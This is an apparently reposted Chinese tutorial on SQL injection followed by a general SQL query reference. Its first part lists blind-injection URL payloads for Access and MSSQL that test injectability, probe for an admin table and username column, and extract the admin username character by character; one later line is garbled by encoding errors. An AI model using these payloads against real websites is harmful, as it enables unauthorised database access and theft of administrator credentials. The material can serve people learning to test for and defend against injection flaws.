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快速学习,理解SQL注入技术

06-09-01        来源:[db:作者]  
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检测可否注入
http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
http://127.0.0.1/xx?id=11 and 1=2 (出错页面)
检测表段的

http://127.0.0.1/xx?id=11 and exists (select * from admin)

检测字段的

http://127.0.0.1/xx?id=11 and exists (select username from admin)

检测ID

http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)

检测长度的

http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)


检测长度的

http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测是否为MSSQL数据库

http://127.0.0.1/xx?id=11 and exists (select * from sysobjects)

检测是否为英文

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 30 and 130 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 30 and 130 and ID=1)

检测英文的范围

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1)) between 90 and 100 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1)) between 90 and 100 and ID=1)

检测那个字符

(ACCESS数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where asc(mid(username,1,1))=97 and ID=1)

(MSSQL数据库)
http://127.0.0.1/xx?id=11 and exists (select id from admin where unicode(substring(username,1,1))=97 and ID=1)

常用函数

Access:asc(字符) SQLServer:unicode(字符)
作用:返回某字符的ASCII码

Access:chr(数字) SQLServer:nchar(数字)
作用:与asc相反,根据ASCII码返回字符

Access:mid(字符串,N,L) SQLServer:substring(字符串,N,L)
作用:返回字符串从N个字符起长度为L的子字符串,即N到N+L之间的字符串

Access:abc(数字) SQLServer:abc (数字)
作用:返回数字的绝对值(在猜解汉字的时候会用到)

Access:A between B And C SQLServer:A between B And C
作用:判断A是否界于B与C之间

and exists(Select top 1 * From 用户 order by id)


1.在查询结果中显示列名:
a.用as关键字:select name as 姓名   from students order by age
b.直接表示:select name 姓名   from students order by age

2.精确查找:
a.用in限定范围:select * from students where native in (湖南, 四川)
b.between...and:select * from students where age between 20 and 30
c.“=”:select * from students where name = 李山
d.like:select * from students where name like 李% (注意查询条件中有“%”,则说明是部分匹配,而且还有先后信息在里面,即查找以“李”开头的匹配项。所以若查询有“李”的所有对象,应该命令:%李%;若是第二个字为李,则应为_李%或_李或_李_。)
e.[]匹配检查符:select * from courses where cno like [AC]% (表示或的关系,与"in(...)"类似,而且"[]"可以表示范围,如:select * from courses where cno like [A-C]%)


3.对于时间类型变量的处理
a.smalldatetime:直接按照字符串处理的方式进行处理,例如:select * from students where birth > = 1980-1-1 and birth <= 1980-12-31


4.集函数
a.count()求和,如:select count(*) from students (求学生总人数)
b.avg(列)求平均,如:select avg(mark) from grades where cno=’B2’
c.max(列)和min(列),求最大与最小

5.分组group
常用于统计时,如分组查总数:select gender,count(sno) from students group by gender(查看男女学生各有多少)
注意:从哪种角度分组就从哪列"group by"
对于多重分组,只需将分组规则罗列。比如查询各届各专业的男女同学人数 ,那么分组规则有:届别(grade)、专业(mno)和
性别(gender),所以有"group by grade, mno, gender"
select grade, mno, gender, count(*) from students group by grade, mno, gender
通常group还和having联用,比如查询1门课以上不及格的学生,则按学号(sno)分类有:
select sno,count(*) from grades where mark<60 group by sno having count(*)>1


6.UNION联合
合并查询结果,如:
SELECT * FROM students WHERE name like ‘张%’UNION [ALL] SELECT * FROM students WHERE name like ‘李%’


7.多表查询
a.内连接
select g.sno,s.name,c.coursename from grades g JOIN students s ON g.sno=s.sno JOIN courses c ON g.cno=c.cno
(注意可以引用别名)
b.外连接
b1.左连接
select courses.cno,max(coursename),count(sno) from courses LEFT JOIN grades ON courses.cno=grades.cno group by courses.cno
左连接特点:显示全部左边表中的所有项目,即使其中有些项中的数据未填写完全。

左外连接返回那些存在于左表而右表中却没有的行,再加上内连接的行。
b2.右连接
与左连接类似
b3.全连接
select sno,name,major from students FULL JOIN majors ON students.mno=majors.mno
两边表中的内容全部显示
c.自身连接
select c1.cno,c1.coursename,c1.pno,c2.coursename from courses c1,courses c2 where c1.pno=c2.cno
采用别名解决问题。
d.交*连接
select lastname+firstname from lastname CROSS JOIN firstanme
相当于做笛卡儿积


8.嵌套查询
a.用关键字IN,如查询猪猪山的同乡:
select * from students where native in (select native from students where name=’猪猪’)
b.使用关键字EXIST,比如,下面两句是等价的:
select * from students where sno in (select sno from grades where cno=’B2’)

select * from students where exists (select * from grades where grades.sno=students.sno AND cno=’B2’)


9.关于排序order
a.对于排序order,有两种方法:asc升序和desc降序
b.对于排序order,可以按照查询条件中的某项排列,而且这项可用数字表示,如:
select sno,count(*) ,avg(mark) from grades group by sno having avg(mark)>85 order by 3

10.其他
a.对于有空格的识别名称,应该用"[]"括住。
b.对于某列中没有数据的特定查询可以用null判断,如select sno,courseno from grades where mark IS NULL
c.注意区分在嵌套查询中使用的any与all的区别,any相当于逻辑运算“||”而all则相当于逻辑运算“&&”
d.注意在做否定意义的查询是小心进入陷阱:
如,没有选修‘B2’课程的学生 :
select students.* from students, grades where students.sno=grades.sno AND grades.cno <> ’B2’        
上面的查询方式是错误的,正确方式见下方:
select * from students where not exists (select * from grades where grades.sno=students.sno AND cno=B2)

11.关于有难度多重嵌套查询的解决思想:如,选修了全睝@纬痰难???br>select * from students where not exists (select * from courses where NOT EXISTS (select * from grades where sno=students.sno AND cno=courses.cno))
最外一重:从学生表中选,排除那些有课没选的。用not exist。由于讨论对象是课程,所以第二重查询从course表中找,排除那些选了课的即可

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